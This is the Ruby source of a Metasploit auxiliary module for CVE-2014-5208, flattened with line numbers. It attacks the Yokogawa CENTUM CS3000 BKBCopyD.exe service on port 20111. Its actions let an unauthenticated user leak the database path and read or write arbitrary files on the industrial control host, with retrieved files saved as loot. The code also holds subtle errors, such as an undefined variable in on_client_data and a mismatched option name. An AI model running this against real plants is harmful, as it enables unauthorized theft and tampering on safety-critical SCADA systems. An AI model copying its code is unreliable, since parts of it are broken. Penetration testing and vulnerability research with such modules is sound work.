Path: blob/master/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Exploit::Remote::TcpServer8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Yokogawa BKBCopyD.exe Client',15'Description' => %q{16This module allows an unauthenticated user to interact with the Yokogawa17CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR18operations.19},20'Author' => [ 'Unknown' ],21'References' => [22['CVE', '2014-5208'],23['URL', 'https://www.rapid7.com/blog/post/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']24],25'Actions' => [26['PMODE', { 'Description' => 'Leak the current database' }],27['RETR', { 'Description' => 'Retrieve remote file' }],28['STOR', { 'Description' => 'Store remote file' }]29],30'DisclosureDate' => '2014-08-09',31'DefaultAction' => 'PMODE',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS],35'Reliability' => []36}37)38)3940register_options(41[42Opt::RPORT(20111),43OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', '' ]),44OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])45]46)47end4849attr_reader :srvport5051def run52exploit53end5455def exploit56@srvport = rand(1024..65535)57print_status(@srvport.to_s)58# We make the client connection before giving control to the TCP Server59# in order to release the src port, so the server can start correctly6061case action.name62when 'PMODE'63print_status('Sending PMODE packet...')64data = "PMODE MR_DBPATH\n"65res = send_pkt(data)66if res && res =~ /^210/67print_good("Success: #{res}")68else69print_error('Failed...')70end71return72when 'RETR'73data = "RETR #{datastore['RPATH']}\n"74print_status('Sending RETR packet...')75res = send_pkt(data)76return unless res && res =~ /^150/77when 'STOR'78data = "STOR #{datastore['RPATH']}\n"79print_status('Sending STOR packet...')80res = send_pkt(data)81return unless res && res =~ /^150/82else83print_error('Incorrect action')84return85end8687super # TCPServer :)88end8990def send_pkt(data)91connect(true, { 'CPORT' => @srvport })92sock.put(data)93sock.get_once94ensure95disconnect96end9798def on_client_connect(client)99return unless action.name == 'STOR'100101contents = ''102File.new(datastore['LPATH'], 'rb') { |f| contents = f.read }103print_status("#{client.peerhost} - Sending data...")104client.put(contents)105service.close106service.stop107end108109def on_client_data(_client)110print_status("#{c.peerhost} - Getting data...")111data = c.get_once112return unless data113114if @store_path.blank?115@store_path = store_loot('yokogawa.cs3000.file', 'application/octet-stream', rhost, data, datastore['PATH'])116print_good("#{@store_path} saved!")117else118File.open(@store_path, 'ab') { |f| f.write(data) }119print_good("More data on #{@store_path}")120end121end122123def on_client_close(_client)124cleanup_service125end126end127128129